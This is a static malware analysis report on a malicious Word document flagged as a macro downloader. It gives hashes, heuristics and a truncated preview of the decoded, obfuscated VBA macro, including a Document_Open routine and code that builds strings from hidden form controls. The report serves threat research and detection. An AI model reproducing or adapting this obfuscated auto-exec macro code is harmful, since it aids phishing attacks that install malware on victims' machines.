Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ce3cdffc335e22c…

MALICIOUS

Office (OLE)

203.0 KB Created: 2019-12-20 09:19:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 265b2e19a9bfb3ddc5fc246f4b045612 SHA-1: b977eb7db2f81a96c9791383e522c66044ff1a4d SHA-256: 1ce3cdffc335e22cf4520d413f0293a6677d2a0543abffe8a8d87f0f15052662
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that is triggered upon opening the document. Heuristics indicate the use of GetObject and p-code execution, suggesting the macro is designed to run malicious code. The ClamAV detection as 'Doc.Downloader.Generic' strongly implies the macro's purpose is to download and execute a second-stage payload. No specific family could be identified.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-7469466-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7469466-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12783 bytes
SHA-256: 6403b5a288dab7046b4ca0b3dd7e349b76dfed983adc780dcc88884b3f1a3f74
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xpkurgif"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Khytkvtzre, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Nnhdbrror As Boolean
Dim Wsczyedinudly As Double
Hrefgwynxhaep = Bdbekiiwgi
Gnjbimekzjlkb = (Erxandetz)
Goyvywzaranf = 997
Dim Lujrsqcmcdfi As Boolean
Sbtkrofqldlp = "Maxime."
Dim Gfrlficj As Boolean
Dim Hsrulvqp As Boolean
Dim Hqgdoenuj As Integer
Cfbgxmtdz = (561)
Dim Grcywkepnw As Boolean
Dim Tqynxbvha As Double
Enqonjwlooykp = Hcqtrjczhpz
Dim Cekiquxlgwrfr As Integer
Dim Rufjmhtsrg As String
Dim Coiyolzikd As Double
Udebfynayrhm = (Lojltcsivwx)
Urcboemo = ("Neque rerum.")
Snssxnlh = (Yzlzyknbmih)
Dim Wtiwpsixb As Boolean
Ryajvukobk = Gccdrlbawogv
Smadadpylqi
   Dim Chuggarpi As String
Dim Qtprgutjyiqb As Boolean
Ydsxhuznccnfi = Wmdwaiqglavg
Ymgdhhxysbiv = (Meblqrcvmepq)
Hwloxvdqhbbuv = 576
Dim Cnefythzkplp As Boolean
Bnqaarvq = "Omnis excepturi voluptatem voluptatem aspernatur est."
Dim Howxzkvwfajqk As String
Dim Czxbymfzpg As Boolean
Dim Uufzmtgykw As Boolean
Auokcqkdgqyrx = (145)
Dim Mbpgrmzabzbxx As Integer
Dim Yfpyadxuwz As Boolean
Edwobwxtwv = Matnlbsmytss
Dim Osphshvcvwflz As Boolean
Dim Lqdpwlzk As String
Dim Vgilkldlci As String
Ocixkfwh = (Smndocfn)
Fyxamqklb = ("Suscipit earum maxime aut.")
Suhbahybuncis = (Yhwbfptxyqfil)
Dim Lfbfzsgcovhl As Boolean
Cqelqsdoatgy = Luznizcxgn
End Sub

Attribute VB_Name = "Rihhrozcvbo"
Attribute VB_Base = "0{67C962F7-255C-4A54-B746-5B48B0549899}{5BCEBDD0-328C-4442-8952-9E678F836C50}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Shqcibig"
Function Gykjilth()
   Dim Qeviyzyuj As String
Dim Jpqpoyydzky As Double
Bdukvcnrrdmg = Qjnybvvzy
Rszbfwrkbgu = (Ygbxrmdjdrh)
Mxyycetwdj = 725
Dim Lgvvjawezzu As String
Hmxfoarhsktmd = "Aperiam dolorem veniam."
Dim Lqvxnhgfhnt As Boolean
Dim Pmmdfauswr As Boolean
Dim Whswbjgwh As Integer
Dwfqbgpsuj = (734)
Dim Gxqhcjwpzgor As String
Dim Jgdnudvdigz As Double
Mgzuyppmylbd = Djxhnqoxjo
Dim Cwcokhtrkja As Double
Dim Bkbkubkitsu As Boolean
Dim Lsepwknjmsjka As Boolean
Vaujkslgnm = (Wgjeiclvan)
Pzfpsrzuhz = ("Josh")
Xlagzmrchxqd = (Bhpykifitlm)
Dim Vmufxuphxcf As Boolean
Wsericleqse = Eoproudzvpm
Usevejolgkbmf = Xpkurgif.Khytkvtzre
   Dim Ebklouvx As String
Dim Sanyvdfvm As Boolean
Uumgirzil = Paiodzfn
Hrhgccdxspvt = (Gyefcwoxgr)
Qhagqybpmd = 157
Dim Govlskev As String
Hevzkddkkpupm = "In voluptatem minus."
Dim Lyxsexcsdznad As String
Dim Mpgsavlqnymcs As Boolean
Dim Qczoglhdc As Boolean
Msaxcafpd = (396)
Dim Tvaaijtsuk As Double
Dim Jkaoykfmdrujt As Boolean
Vmxdmagjdng = Jjfvjurmblhey
Dim Cbrhrsxfx As Integer
Dim Wcbwasghcum As String
Dim Yzetaqyohahcw As Boolean
Fmdiotyoke = (Yrrlpbrjrod)
Hbpbuuetu = ("Dolores")
Qdkgaluoqba = (Prbepuqiybg)
Dim Mpkfvdobvm As Double
Jgtppfhezm = Aezlhrcdprye
Mkcmnsggedoe = Usevejolgkbmf + Rihhrozcvbo.Ewydckuorvxx + Rihhrozcvbo.Dvophcgtsfed + Rihhrozcvbo.Yasxyxdwcied
   Dim Skkwyalsqq As Double
Dim Mhjfhgcm As Boolean
Jqeefvzppt = Gdvkjejwaie
Rjniytptgburu = (Tbajiyafkwx)
Tlaltinl = 81
Dim Rzfuzcato As Integer
Dziudxrddlav = "Perferendis qui."
Dim Vaiymheh As Boolean
Dim Kcebdjdiok As Integer
Dim Srqkwiivqe As String
Ecruccovfzka = (913)
Dim Atisgbkjhri As Boolean
Dim Wyxrfjlxar As Integer
Mvugtgpsg = Nyxriuuamaq
Dim Hheqhszbzlufq As Boolean
Dim Ksjfojkshsc As Double
Dim Rwgvdxylc As String
Nhnnnclrrg = (Qldnxoxyfqtk)
Zbtecitzs = ("Qui quos.")
Wffgklzbcpjaj = (Fafwocjhdkymd)
Dim Rtwqaiss As Boolean
Tjbqpbjdf = Tvstnxbvmywt
Wbwwufouw = Mkcmnsggedoe + Rihhrozcvbo.Iiunyznb + Rihhrozcvbo.Zwwhxbbjtysnu.Tag
   Dim Tfwjecjksyb As Boolean
Dim Gyusotyht
... (truncated)